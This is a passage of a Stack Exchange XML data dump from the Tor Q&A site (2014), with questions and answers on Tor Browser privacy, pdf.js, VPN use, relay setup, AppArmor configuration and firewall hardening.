LastEditorUserId="88" LastEditDate="2014-04-15T06:41:45.247" LastActivityDate="2014-04-15T06:41:45.247" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1934" PostTypeId="2" ParentId="1929" CreationDate="2014-04-13T20:53:18.143" Score="2" Body="&lt;p&gt;Use pdf.js is not 100% sure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There were some problems during the analysis of this addon.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First of all, Mozilla Staff some time ago did not ensure prevent 3rd party tracking via PDFs using pdf.js: &lt;a href=&quot;https://lists.torproject.org/pipermail/tor-bugs/2013-March/039193.html&quot; rel=&quot;nofollow&quot;&gt;https://lists.torproject.org/pipermail/tor-bugs/2013-March/039193.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Mozilla has also been verified at least one Security bug of PDF.js using iframes: &lt;a href=&quot;https://www.mozilla.org/security/announce/2013/mfsa2013-99.html&quot; rel=&quot;nofollow&quot;&gt;https://www.mozilla.org/security/announce/2013/mfsa2013-99.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're using a linux machine with iptables properly configured then to use pdf.js is fairly safe but if you are using a windows machine then better avoid it.&lt;/p&gt;&#xA;" OwnerUserId="1576" LastActivityDate="2014-04-13T20:53:18.143" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1935" PostTypeId="2" ParentId="1862" CreationDate="2014-04-13T21:11:11.127" Score="-1" Body="&lt;p&gt;Caution, you may be at risk.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using Tor your ISP can not monitor the sites you visit but you can be sure that your ISP will Know you are using Tor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In most countries where pornography is banned, the use of anonymization tools like Tor is also prohibited. It is very possible that the laws of your country punish more severely the use of TOR that viewing pornography.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you only use Tor for browsing porn websites you should check carefully the laws in your country and assess the use of a VPN instead of Tor ( or both).&lt;/p&gt;&#xA;" OwnerUserId="1576" LastActivityDate="2014-04-13T21:11:11.127" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1936" PostTypeId="2" ParentId="1931" CreationDate="2014-04-15T00:01:17.120" Score="2" Body="&lt;p&gt;If I understand your question correctly:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A nonexit node does not connect to websites outside the Tor network. It will only connect to other nodes or the computer connecting into the Tor network (if it is an entry node). These nodes are often run by people who want to increase the Tor network capacity but not deal with the difficulties caused by people performing illegal activites over the network.&lt;/p&gt;&#xA;" OwnerUserId="812" LastActivityDate="2014-04-15T00:01:17.120" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1938" PostTypeId="2" ParentId="1932" CreationDate="2014-04-15T04:38:15.717" Score="0" Body="&lt;p&gt;Yes. The circuit you established to make the initial request is also used for the response. And it does use layers of encryption on the return path the same way as the request.&lt;/p&gt;&#xA;" OwnerUserId="1181" LastActivityDate="2014-04-15T04:38:15.717" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1939" PostTypeId="1" AcceptedAnswerId="1943" CreationDate="2014-04-15T13:04:23.590" Score="1" ViewCount="485" Body="&lt;p&gt;I checked with &lt;a href=&quot;http://ip-check.info&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://ip-check.info&lt;/a&gt; and I got this warning.&#xA;When I did tested with that site, this never occurred until now.&#xA;I didn't install any other addons or plugins in Tor Browser Bundle. I only have some bookmarks in the bookmarks bar. This warning makes scary! Please help.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/ztH6P.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1552" LastEditorUserId="88" LastEditDate="2014-04-15T18:42:17.383" LastActivityDate="2014-04-15T19:07:18.440" Title="ip-check.info - Unknown IP, possibly your own, uncovered by FTP" Tags="|tor-browser-bundle|deanonymization|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1941" PostTypeId="1" CreationDate="2014-04-15T18:42:18.190" Score="4" ViewCount="189" Body="&lt;p&gt;I'm trying to set up a hidden service, but I'm primarily a web developer and not a security guy.  I know quite a bit about computer security and I think I could probably configure Tor and iptables correctly, but it's not my primary focus so I'm afraid I might make a mistake and would love it if I could have a guide to follow as I set things up.&lt;/p&gt;&#xA;" OwnerUserId="1586" LastActivityDate="2014-08-01T20:08:57.343" Title="Is there a guide anywhere on how to safely set up a hidden service and lockdown the server so no info will leak?" Tags="|onion-services|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1942" PostTypeId="2" ParentId="1939" CreationDate="2014-04-15T18:45:31.877" Score="1" Body="&lt;p&gt;The site says that it uncovered your IP address by FTP. This usually happens when you're not using SOCKS or HTTP proxy for all connections. Open the settings of Tor Browser (Green Onion -&gt; Settings). Best is to use the recommended settings. If this is somehow not possible, make sure that FTP uses the same proxy as your other anonymized connections&lt;/p&gt;&#xA;" OwnerUserId="88" LastActivityDate="2014-04-15T18:45:31.877" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1943" PostTypeId="2" ParentId="1939" CreationDate="2014-04-15T19:07:18.440" Score="1" Body="&lt;p&gt;Did you do what the message suggests, i.e. perform the test in order to get more details?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's possible that the IP address uncovered by FTP isn't your address, but a secondary IP address associated with the exit node you were using at the time. In this case, the warning would be a &quot;false alarm&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's impossible to diagnose what is happening here without more information. Next time this happens, you need to a) perform the ip-check.info test and make a note of which IP addresses it claims to have &quot;uncovered&quot;. b) Determine what exit node you are currently using. You can do this by visiting &lt;a href=&quot;https://check.torproject.org/&quot; rel=&quot;nofollow&quot;&gt;https://check.torproject.org/&lt;/a&gt; which will show you the IP address of the exit node, and provide a link to Atlas with more information about the node. c) Determine what your &quot;real&quot; public-facing IP address is, e.g. by visiting a site like &lt;a href=&quot;https://www.whatismyip.com/&quot; rel=&quot;nofollow&quot;&gt;https://www.whatismyip.com/&lt;/a&gt; with a browser other than Tor Browser. Then you can compare the IP addresses from a) b) and c) and see what IP address ip-check.info has found. Note that tor creates new circuits periodically (~every 10 minutes), so you need to do a) and b) in quick succession in order to get meaningful information.&lt;/p&gt;&#xA;" OwnerUserId="1588" LastActivityDate="2014-04-15T19:07:18.440" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1944" PostTypeId="2" ParentId="1929" CreationDate="2014-04-15T19:16:16.347" Score="0" Body="&lt;p&gt;I think that if you want to view PDFs that you have downloaded using Tor Browser, it is safer to do so in-browser using PDF.js than to download the PDF and open it with an external viewer like Acrobat.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With the external viewer, there is a high risk that if you click on an embedded URL in the document, that URL will be fetched by your normal browser using a direct connection, rather than with Tor Browser via the Tor network. With PDF.js in Tor Browser, any embedded links you click on will be opened using the current Tor Browser session.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course, if you don't need to view PDFs at all, then turning PDF.js off completely is probably a good idea.&lt;/p&gt;&#xA;" OwnerUserId="1588" LastActivityDate="2014-04-15T19:16:16.347" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1945" PostTypeId="1" CreationDate="2014-04-15T20:31:46.417" Score="9" ViewCount="53518" Body="&lt;p&gt;The title pretty much says it all. I'm using Tor with PIA VPN also running. Is this a good extra level of security, or just a waste of time. Thanks all.&lt;/p&gt;&#xA;" OwnerUserId="1589" LastEditorUserId="100" LastEditDate="2014-05-21T23:33:54.113" LastActivityDate="2017-08-16T07:52:28.773" Title="Tor via VPN: Good extra level of security, or unnecessary?" Tags="|vpn|" AnswerCount="4" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1946" PostTypeId="1" CreationDate="2014-04-15T21:03:50.817" Score="2" ViewCount="702" Body="&lt;p&gt;I have a Windows ultimate/32 PC.&#xA;Sometimes when I try to open Tor, the Launcher indicates &quot;Connection Refused&quot; as stated above.&#xA;Other times the Launcher message is &quot;Tor failed to establish a Tor network connection - unexpected identity in router certificate&quot;. Still othertimes, Tor opens normally.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is: Does someone has an explanation for this behaviour?&lt;/p&gt;&#xA;" OwnerUserId="1591" LastEditorUserId="88" LastEditDate="2014-04-17T07:04:58.823" LastActivityDate="2014-06-16T13:37:52.707" Title="I can't access ANY website: Connection refused (WSAECONNREFUSED)" Tags="|windows|certificate|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1948" PostTypeId="2" ParentId="1945" CreationDate="2014-04-15T21:14:43.173" Score="1" Body="&lt;p&gt;Does this mean that your VPN client uses Tor to connect to the VPN server, or that your Tor client uses your VPN tunnel to connect to its entry guard node? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The former will give you no benefit over using only VPN, but it will be slower. You hide your IP from your VPN provider.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The latter might make it somewhat harder to trace back, but probably not much, also depending on what logs your VPN provider keeps. &lt;/p&gt;&#xA;" OwnerUserId="350" LastActivityDate="2014-04-15T21:14:43.173" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1949" PostTypeId="2" ParentId="1945" CreationDate="2014-04-15T21:26:19.280" Score="5" Body="&lt;p&gt;It can be more dangerous.  It can be a useful dodge.  It depends on the threats facing you in particular.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you connect to a VPN provider through Tor, your VPN provider typically knows who you are (or at least has a path back to near you) via your payment arrangements.  They can also know you use Tor to reach them.  The VPN provider will provide this information to authorities upon request or coercion.  This can destroy your anonymity.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you connect to Tor after going through a VPN provider, the VPN provider can know you are using Tor, just as any provider of connectivity (ISP, etc.) can know you are using Tor.  The VPN provider can also know what else you're doing, including seeing what leaks when you use non-Torified applications.  If you are in the rare circumstance of having a local ISP which is Tor-hostile, but which doesn't mind VPNs, then using Tor across a VPN can be a useful work-around.&lt;/p&gt;&#xA;" OwnerUserId="314" LastActivityDate="2014-04-15T21:26:19.280" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1950" PostTypeId="2" ParentId="1726" CreationDate="2014-04-16T04:08:31.040" Score="2" Body="&lt;p&gt;Please do &lt;em&gt;not&lt;/em&gt; download big movie files over Tor. It will slowdown the tor network for other people. And you will not get maximum speed of download in Tor, get a VPN for fast download speeds (..and to not harm Tor network)&lt;/p&gt;&#xA;" OwnerUserId="1552" LastActivityDate="2014-04-16T04:08:31.040" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1951" PostTypeId="1" AcceptedAnswerId="1960" CreationDate="2014-04-16T04:17:18.590" Score="1" ViewCount="306" Body="&lt;p&gt;I have noticed this problem in a few sites. &#xA;For example, &lt;a href=&quot;https://eff.org&quot; rel=&quot;nofollow&quot;&gt;EFF.org&lt;/a&gt; is with forward secrecy in its openSSL implementation. When I load it from Tor Browser Bundle and check the &quot;Padlock&quot; icon on address bar, it only says &quot;AES256, 256 bit keys&quot;.&#xA;When I load the same EFF site on plain Firefox, it says &quot;TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA_256&quot; ..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From what I found and read online, &quot;ECDHE&quot; part means Perfect forward secrecy. So why is Tor browser bundle is disabling it if PFS will be providing  better security?&lt;/p&gt;&#xA;" OwnerUserId="1552" LastActivityDate="2014-05-11T21:21:35.803" Title="TBB disables Perfect Forward secrecy in SSL sites (that provide PFS)?" Tags="|tor-browser-bundle|https|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1952" PostTypeId="2" ParentId="1951" CreationDate="2014-04-16T07:00:52.740" Score="3" Body="&lt;p&gt;Tor Browser doesn't actively disable PFS, but just uses an old Firefox version. The current version of Tor Browser's Firefox is 24.4 and plain Firefox is at 28.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I recall correctly, Firefox enabled PFS by default in version 27. So when the Firefox version from Tor Browser is updated you'll get PFS by default. If you want to use PFS right now, you can navigate to &lt;code&gt;about:config&lt;/code&gt; and look for &lt;code&gt;tls.version&lt;/code&gt;. You'll find a minimum and maximum setting. When you set maximum to 3 this means you want to use TLS 1.2 with PFS. I explained it step by step in a &lt;a href=&quot;http://kubieziel.de/blog/archives/1564-Using-SSL-securely-in-your-browser.html&quot; rel=&quot;nofollow&quot;&gt;blog posting&lt;/a&gt; more in detail.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to see if your browser supports PFS &lt;a href=&quot;https://www.ssllabs.com/ssltest/viewMyClient.html&quot; rel=&quot;nofollow&quot;&gt;test your client&lt;/a&gt; at the &lt;a href=&quot;https://www.ssllabs.com/ssltest/&quot; rel=&quot;nofollow&quot;&gt;Qualys SSL Labs&lt;/a&gt; site.&lt;/p&gt;&#xA;" OwnerUserId="88" LastEditorUserId="88" LastEditDate="2014-04-17T15:51:36.587" LastActivityDate="2014-04-17T15:51:36.587" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1953" PostTypeId="2" ParentId="327" CreationDate="2014-04-16T07:16:46.200" Score="4" Body="&lt;p&gt;Current versions of Ubuntu (and probably other distros) use AppArmor, which can cause hard to debug error messages (e.g. &lt;code&gt;Couldn't access/create private data directory&lt;/code&gt; despite permissions being set correctly). In order to be able to run a second Tor instance, I did:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;edit /etc/apparmor.d/local/system_tor and add two rules (if you use other file names/paths below, you will have to adjust this!):&lt;br&gt;&#xA;&lt;code&gt;owner /var/lib/tor2/** rwk,&lt;/code&gt;&lt;br&gt;&#xA;&lt;code&gt;/{,var/}run/tor/tor2.pid w,&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;copy &lt;code&gt;/etc/init.d/tor&lt;/code&gt; to &lt;code&gt;/etc/init.d/tor2&lt;/code&gt; and edit the following lines as follows:&lt;br&gt;&#xA;&lt;code&gt;DESC=&quot;tor daemon legacy&quot;&lt;/code&gt;&lt;br&gt;&#xA;&lt;code&gt;TORPID=$TORPIDDIR/tor2.pid&lt;/code&gt;&lt;br&gt;&#xA;&lt;code&gt;ARGS=&quot;-f /etc/tor/torrc2&quot;&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;copy &lt;code&gt;/etc/tor/torrc&lt;/code&gt; to &lt;code&gt;torrc2&lt;/code&gt; and edit it&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;adjust ports&lt;/li&gt;&#xA;&lt;li&gt;adjust nick&lt;/li&gt;&#xA;&lt;li&gt;adjust &lt;code&gt;Log notice file&lt;/code&gt; (use same dir unless you want to write more AppArmor rules!)&lt;/li&gt;&#xA;&lt;li&gt;adjust &lt;code&gt;DataDirectory&lt;/code&gt; to point to &lt;code&gt;/var/lib/tor2/&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;run &lt;code&gt;/etc/init.d/apparmor reload&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;You might need to create &lt;code&gt;/var/lib/tor2&lt;/code&gt;, adjust owner (&lt;code&gt;chown debian-tor:debian-tor&lt;/code&gt;) and permissions (&lt;code&gt;chmod 2700&lt;/code&gt;), but I think once AppArmor is configured Tor will do it itself. Feel free to populate the keys/ directory with appropriate keys.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Start your second instance with &lt;code&gt;service tor2 start&lt;/code&gt;. If you want it to start automatically, you will likely have to run something like update-rc.d with correct parameters.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1597" LastActivityDate="2014-04-16T07:16:46.200" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1954" PostTypeId="5" CreationDate="2014-04-16T07:19:09.773" Score="0" Body="&lt;p&gt;Some websites believe that they see more abuse through Tor than through other services. Thatswhy they try to find out the IP addresses of Tor relays and block them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using this tag we answer questions about these services and what are good strategies to access those sites.&lt;/p&gt;&#xA;" OwnerUserId="88" LastEditorUserId="88" LastEditDate="2016-04-07T16:18:23.630" LastActivityDate="2016-04-07T16:18:23.630" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1955" PostTypeId="4" CreationDate="2014-04-16T07:19:09.773" Score="0" Body="In some cases web sites as well as other services block Tor users. This tag should include questions which deal with such services." OwnerUserId="88" LastEditorUserId="88" LastEditDate="2014-04-16T07:19:09.773" LastActivityDate="2014-04-16T07:19:09.773" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1957" PostTypeId="1" CreationDate="2014-04-16T15:44:00.827" Score="1" ViewCount="205" Body="&lt;p&gt;Can Tor be installed on a network firewall such as Smoothwall? I'd like to have the firewall serve as the relay and free up the PCs behind it. &lt;/p&gt;&#xA;" OwnerUserId="355" LastActivityDate="2014-04-23T18:33:17.493" Title="Installing Tor on network firewall" Tags="|relays|platform|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1958" PostTypeId="2" ParentId="1882" CreationDate="2014-04-16T20:11:21.637" Score="2" Body="&lt;p&gt;First, you should use the advanced firewall (start &gt;run &gt;wf.msc). There you should block everything with the general settings, block all incoming traffic without exception and all outbound traffic except specific rules. Then you should create two rules: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first for tor.exe that allows all TCP out connections on any port (you can allow only port 443 which is the default port that tor.exe tries, but on restricted networks the tor.exe app will try many other ports, and anyway you have to trust the tor.exe process, if it's compromised then you're screwed anyway). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The second rule is firefox.exe TCP out with ports 9151 and 9150 AND destination address only 127.0.01, that rule basically says that firefox.exe is only allowed to connect to the tor.exe process which is availabe on 127.0.01:9150-1.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All the other Allow rules should be disabled, except the Core network-DHCP client if you're using a dynamic IP address. If should use static address (either by your ISP or your router config) then you can disable the DHCP rule on the firewall too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using these rules and monitoring network traffic with sysinternals process monitor seems to block virtually everything. Howether, of course it is always preferable to use Tails which is much more secured.&lt;/p&gt;&#xA;" OwnerUserId="1601" LastEditorUserId="923" LastEditDate="2015-01-18T03:50:19.310" LastActivityDate="2015-01-18T03:50:19.310" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1959" PostTypeId="1" AcceptedAnswerId="3411" CreationDate="2014-04-17T04:09:34.937" Score="1" ViewCount="504" Body="&lt;p&gt;I am on a school controlled mac laptop that is running various management utilities, notably &lt;a href=&quot;http://www.jamfsoftware.com&quot; rel=&quot;nofollow&quot;&gt;JAMF&lt;/a&gt;'s &lt;a href=&quot;http://www.jamfsoftware.com/products/casper-suite/&quot; rel=&quot;nofollow&quot;&gt;Casper&lt;/a&gt;. These are set up with a script that seems to auto-kill all the programs in the Tor Browser Bundle every 5 seconds or so, making it impossible to use Tor on these machines. Is it possible to circumvent this kind of attack, short of using TAILS or a virtual machine? I also don't want to disable any of the school's software if it is at all possible. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.S. I do have root access.&lt;/p&gt;&#xA;" OwnerUserId="1156" LastEditorUserId="923" LastEditDate="2014-06-24T08:26:55.537" LastActivityDate="2014-06-30T00:29:48.567" Title="Avoid autokilling of Tor process" Tags="|tor-browser-bundle|mac|censorship|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1960" PostTypeId="2" ParentId="1951" CreationDate="2014-04-17T12:39:56.493" Score="3" Body="&lt;p&gt;Both browsers using the same cipher suite with PFS for EFF site. ESR-24 decodes used cipher and showing information partially while fresh vanilla Firefox showing cipher suite without decoding (by accident). &lt;a href=&quot;https://bugzilla.mozilla.org/show_bug.cgi?id=897615&quot; rel=&quot;nofollow&quot;&gt;https://bugzilla.mozilla.org/show_bug.cgi?id=897615&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1603" LastActivityDate="2014-04-17T12:39:56.493" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1961" PostTypeId="1" CreationDate="2014-04-17T19:01:35.653" Score="2" ViewCount="616" Body="&lt;blockquote&gt;&#xA;  &lt;ol&gt;&#xA;  &lt;li&gt;Get a separate IP for the node. Do not route your own traffic via this IP&#xA;  While it may be tempting to mix in your traffic with your node's exit traffic &#xA;  for cover, this is best avoided. Having a separate IP allows your ISP to more   easily recognize that abuse complaints and DMCA notices can be forwarded to you  to be quickly responded to with a boilerplate response, as opposed to cutting   off your Internet access or providing your personal information to the copyright  cartels.&lt;/li&gt;&#xA;  &lt;/ol&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I know that &lt;a href=&quot;https://blog.torproject.org/blog/tips-running-exit-node-minimal-harassment&quot; rel=&quot;nofollow&quot;&gt;this is the recommendation for an exit node&lt;/a&gt;, but can I run OpenVPN and a Tor relay on the same machine, using the same IP address? I can't see why not, as Tor relays do not route traffic to the outside world, but I thought I'd ask, just to make sure.&lt;/p&gt;&#xA;" OwnerUserId="1605" LastEditorUserId="100" LastEditDate="2014-06-24T07:49:45.953" LastActivityDate="2014-06-24T07:49:45.953" Title="Is it a bad idea to run OpenVPN and a Tor relay on the same VPS?" Tags="|relays|exit-relays|openvpn|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1962" PostTypeId="1" AcceptedAnswerId="1963" CreationDate="2014-04-17T20:15:58.210" Score="3" ViewCount="2243" Body="&lt;p&gt;Many exit nodes are not anonym. It says &quot;Hi I'm a Proxy Or Hi I'm a Tor Exit Node on host name&quot;. Here is a test site: &lt;a href=&quot;http://ipcim.com/hu/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://ipcim.com/hu/&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Host names:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;TOR-EXIT.CYLAB.CMU.EDU&lt;/li&gt;&#xA;&lt;li&gt;sipb-tor.mit.edu&lt;/li&gt;&#xA;&lt;li&gt;wannabe.torservers.net&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;So websites can detect you use Tor, and this is the first problem. The second problem some entry nodes says (the first proxy you connect directly the 3 hop) says too I'm a Tor exit.So your Internet service provider can detect you use Tor. When you type this tor exits IP address the Tor browser this show you a site what tell you this is a tor exit node.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a idea how  fix this problem. The big problem on Tor network was the „Run as Client only function”. This 'Run as Client only function' I would not be supported. Who uses the Tor network be required run Exit, non-exit or bridge relay. And I have to replace Vidalia/sharing “Run as Client only” function to automatically select Exit, non-exit or bridge relay function. I'm telling everyone who use the Tor network required to participate in the operation also. The result more exit nodes more anonymity and more users more secure hops. I do not agree that some users can only get and give nothing. It's just like stealing. Be required in the future all Tor users run select Exit, non-exit or bridge relay. Those who do not like this look for another service.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Much more Exit Nodes need what run normal users who use tor client. Normal users who run Exit Nodes won't show hey i'm a proxy. And Those who do not like it do not use.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know it's not your fault, this failure of Special  users who run Exit Relays and advertises in host name and IP address im a Proxy service or im a tor exit node. So more Exit Nodes needed what running the normal users so you can connect normal users.Normal users show you normal Internet providers and normal host names.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/goiIP.png&quot; alt=&quot;Hy IM A TOR EXIT&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ASxDW.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;just an idea&#xA;Change &quot;Run as Client&quot; funktion to select auto on startup by default (Non exit,Exit,or bridge) relay.And wont support use as only Client.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/nVU3z.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Exit Nodes what run normal users much anonim and shorter time running nodes less chance&#xA;that the current country's secret service interception.&lt;/p&gt;&#xA;" OwnerUserId="854" LastEditorUserId="88" LastEditDate="2014-04-18T20:24:41.007" LastActivityDate="2016-05-28T11:50:50.443" Title="Too much Not anonim Exit Nodes on the TOR Network!" Tags="|anonymity|relays|security|exit-relays|guard-node|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1963" PostTypeId="2" ParentId="1962" CreationDate="2014-04-18T16:26:56.540" Score="8" Body="&lt;p&gt;When running an exit node, it is highly recommended to make it as clear as possible that it is an exit node. This helps the operator deal with DMCA notifications and abuse reports and the like. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Further more, it is impossible for any relay, exit or non-exit, to hide the fact that they are a relay. The list of all relays and their flags is publicly available. This is even necessary for the network to function, as clients need to pick relays for their circuits. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your ISP can tell that you use Tor (unless maybe when you use obfuscated bridges), and your ISP definitely knows when you run a relay. They even know who your entry guard node is. But they don't know where you exit from and to, and they can't decrypt your traffic.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you need the anonymity of Tor to protect you from censorship, there is a good chance that you are not in the position to run a relay.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit to add: &lt;a href=&quot;https://blog.torproject.org/blog/tips-running-exit-node-minimal-harassment&quot;&gt;Tips for Running an Exit Node with Minimal Harassment&lt;/a&gt; &amp;lt;-- this details all the recommendations for running a Tor exit node.&lt;/p&gt;&#xA;" OwnerUserId="350" LastEditorUserId="350" LastEditDate="2014-04-18T18:03:12.643" LastActivityDate="2014-04-18T18:03:12.643" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1964" PostTypeId="1" CreationDate="2014-04-18T17:47:57.810" Score="1" ViewCount="976" Body="&lt;p&gt;I'm using getcoldturkey.com to block social networks from myself so that I don't overuse them. But I still can access them with Tor which is kinda cool. But anyway is there a way I can block websites in Tor?&lt;/p&gt;&#xA;" OwnerUserId="1611" LastActivityDate="2014-04-19T13:14:40.007" Title="How to block certain websites in Tor" Tags="|censorship|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1965" PostTypeId="2" ParentId="1962" CreationDate="2014-04-18T19:34:20.720" Score="1" Body="&lt;p&gt;tor is not personal property to push users anything, &#xA;your idea of stealing is capitalist idea, not all of us grew up in the same system. &quot;to contribute in order to get something&quot; is mentality that is good for riches as they accumulate (or steal legally after they gave money to ruling pol.parties) the biggest part of capital produced by society. if we follow capitalist logic, tor will not be for free than commercial product. and developers could ask you for much more money than you gave to tor when you became relay (you pay maybe some traffic to your ISP).&lt;/p&gt;&#xA;" OwnerUserId="1613" LastActivityDate="2014-04-18T19:34:20.720" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1966" PostTypeId="2" ParentId="1962" CreationDate="2014-04-18T21:10:52.880" Score="0" Body="&lt;p&gt;In the Future i think what we need was nut just users can select by (exit,non exit,bridge)relay but we need users can select automatically this function on TOR startap. When TOR startap The user select what hi want to help the network (exit,non exit,bridge)relay or the program Automatically select (exit,non exit,bridge)relay funktion on startup.The “Run as client only” method I would not let anyone.It just hurts the TOR network.The TOR network  it would be much safer,anonymously,and not traced back. The too long time running nodes vulnerability is government interception. There is a need more Exit and non exit nodes by average users who only simple users.Not companies, universities, only simple users. I think it is essential in the future the safe TOR network operation. I tested some exit nodes by country and too much the what I think that does not simple users  are operated this exitnodes. This is a vulnerable point in TOR Network today. Therefore, I think all users in the future duty to participate The Tor Netvork operation some form without exception. It involves not only we want to get if therefore it is our duty to give everyone interest.&lt;/p&gt;&#xA;" OwnerUserId="854" LastActivityDate="2014-04-18T21:10:52.880" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1967" PostTypeId="2" ParentId="1961" CreationDate="2014-04-18T21:13:03.310" Score="1" Body="&lt;p&gt;You are correct. There is no issue with that. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are some considerations, the same as running a relay on your home connection: Some websites block access from &lt;em&gt;all&lt;/em&gt; Tor relays, exit or not. Now that your IP and hostname are listed on public web pages, you may get more 'traffic' probing for vulnerabilities.&lt;/p&gt;&#xA;" OwnerUserId="350" LastActivityDate="2014-04-18T21:13:03.310" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
